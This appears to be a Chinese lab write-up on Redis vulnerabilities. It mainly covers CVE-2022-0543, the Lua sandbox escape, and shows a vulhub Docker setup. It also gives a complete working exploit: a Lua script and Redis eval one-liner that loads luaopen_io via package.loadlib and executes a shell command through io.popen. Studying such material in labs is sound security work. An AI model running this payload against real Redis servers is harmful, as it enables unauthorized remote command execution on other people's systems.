![image.png](https://img-blog.csdnimg.cn/img_convert/df25031e44b9d946893bb33bce530637.png#averageHue=#152937&clientId=ue567bff0-0fa6-4&from=paste&height=617&id=u348a0221&name=image.png&originHeight=925&originWidth=1562&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2216174&status=done&style=none&taskId=ued19d85e-2f25-4b6c-b979-1b67769cde4&title=&width=1041.3333333333333)
redis 未授权访问 (CNVD-2019-21763)
Redis存在未授权访问漏洞。攻击者可利用该漏洞执行任意代码,获取目标服务器权限。
更多信息参考:https://www.cnvd.org.cn/flaw/show/CNVD-2019-21763
在线靶场起不来,离线靶场下不了,此漏洞的利用情况同“CNVD-2015-07557”,不再演示。
![image.png](https://img-blog.csdnimg.cn/img_convert/f227492785f0a4b58bf699ae53be1d1e.png#averageHue=#547888&clientId=ue567bff0-0fa6-4&from=paste&height=615&id=u1d833357&name=image.png&originHeight=923&originWidth=2533&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2067732&status=done&style=none&taskId=u2e6f64d6-8a83-4c9a-af7a-145a11aa1e1&title=&width=1688.6666666666667)
Redis Lua 沙箱绕过 远程命令执行 CVE-2022-0543
漏洞介绍
Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
更多介绍:https://nox.qianxin.com/vulnerability/detail/QVD-2022-1456
靶场搭建
vulfocus在线靶场无法使用,镜像地址未提供:https://github.com/fofapro/vulfocus/tree/master/images
下载vulhub同步地址:https://gitee.com/hundan-90/vulhub?_from=gitee_search
cd vulhub/redis/CVE-2022-0543/
docker-compose build # 编译
docker-compose up -d # 运行
![image.png](https://img-blog.csdnimg.cn/img_convert/42ac608815d5ac2b646ab908676e14c2.png#averageHue=#243345&clientId=ue567bff0-0fa6-4&from=paste&height=524&id=u8a3c6f20&name=image.png&originHeight=786&originWidth=1817&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=2066272&status=done&style=none&taskId=uc34c5b0b-84b0-48a0-928d-6180f20d177&title=&width=1211.3333333333333)
漏洞发现
![image.png](https://img-blog.csdnimg.cn/img_convert/9a79363fe352717ccca88784b2a3d666.png#averageHue=#1c2f43&clientId=u1015e2d6-0415-4&from=paste&height=465&id=u1819f261&name=image.png&originHeight=697&originWidth=1462&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=739453&status=done&style=none&taskId=uca468fab-2113-4cba-ac03-e389a52762e&title=&width=974.6666666666666)
漏洞利用
我们借助Lua沙箱中遗留的变量package
的loadlib
函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
里的导出函数luaopen_io
。在Lua中执行这个导出函数,即可获得io
库,再使用其执行命令:
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res
值得注意的是,不同环境下的liblua库路径不同,你需要指定一个正确的路径。在这个Vulhub环境(Ubuntu fiocal)中,这个路径是:/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
连接redis,使用eval
命令执行上述脚本:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
![image.png](https://img-blog.csdnimg.cn/img_convert/dc573cecc61f8150820d071911a573e7.png#averageHue=#172c3b&clientId=u1015e2d6-0415-4&from=paste&height=197&id=uf43e15ac&name=image.png&originHeight=295&originWidth=1547&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=716700&status=done&style=none&taskId=u3c728e2f-04ac-4870-b5ab-17dd77af02f&title=&width=1031.3333333333333)
参考
渗透测试之地基服务篇:服务攻防之数据库Redis(上)
渗透测试之地基服务篇:服务攻防之数据库Redis(下)
跟着斗哥学Python安全开发之redis未授权访问
Redis 小于5.0.5 主从复制远程命令执行漏洞